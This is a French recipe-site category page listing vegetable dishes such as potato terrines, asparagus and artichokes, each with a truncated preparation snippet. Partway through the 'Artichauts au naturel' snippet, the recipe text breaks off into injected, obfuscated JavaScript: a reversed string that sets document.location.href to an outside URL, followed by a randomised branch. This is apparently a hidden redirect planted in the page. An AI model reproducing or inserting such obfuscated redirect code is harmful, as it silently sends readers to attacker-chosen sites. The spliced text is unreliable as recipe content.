Catégorie : Légumes

Terrine de pommes de terre à la mousse de rougets

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Dans une casserole d’eau bouillante salée, plongez les pommes de terre dans leur peau, pendant ...

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Aspic de petits légumes au cerfeuil

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Préparez la gelée selon le mode d’emploi indiqué sur le paquet. Laissez-la refroidir. Écosser  les ...

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Buisson d’asperges aux herbes

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Pelez les asperges. Ôtez le bout fibreux et faites-les cuire dans l’eau bouillante salée pendant ...

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Pommes dauphines

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Faites la pâte à choux avec une pincée de noix de muscade. Épluchez, lavez, Coupez-les ...

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Artichauts au naturel

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Coupez l’extrémité des feuilles, faites couler de l’eau entre les feuilles pour les nettobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if ...

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Terrine aux trois légumes

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Pelez, rincez, coupez en petit morceaux 2 pommes de terre selon la grosseur. Faites les ...

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Pommes dauphines

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Faites la pâte à choux avec une pincée de noix de muscade. Épluchez, lavez, Coupez-les ...

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Endives à la féta

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Lavez, enlevez le trognon de chaque endive. Pelez et coupez en fines lamelles les carottes. ...

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Les pommes de terre au fromage

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Pelez, lavez, râpez les pommes de terre. Enlevez la croûte du saint nectaire et le ...

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Galette de persil à la rose

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Épluchez, lavez et râpez les pommes de terre. Les rincer à nouveau. Les égoutter, éponger ...

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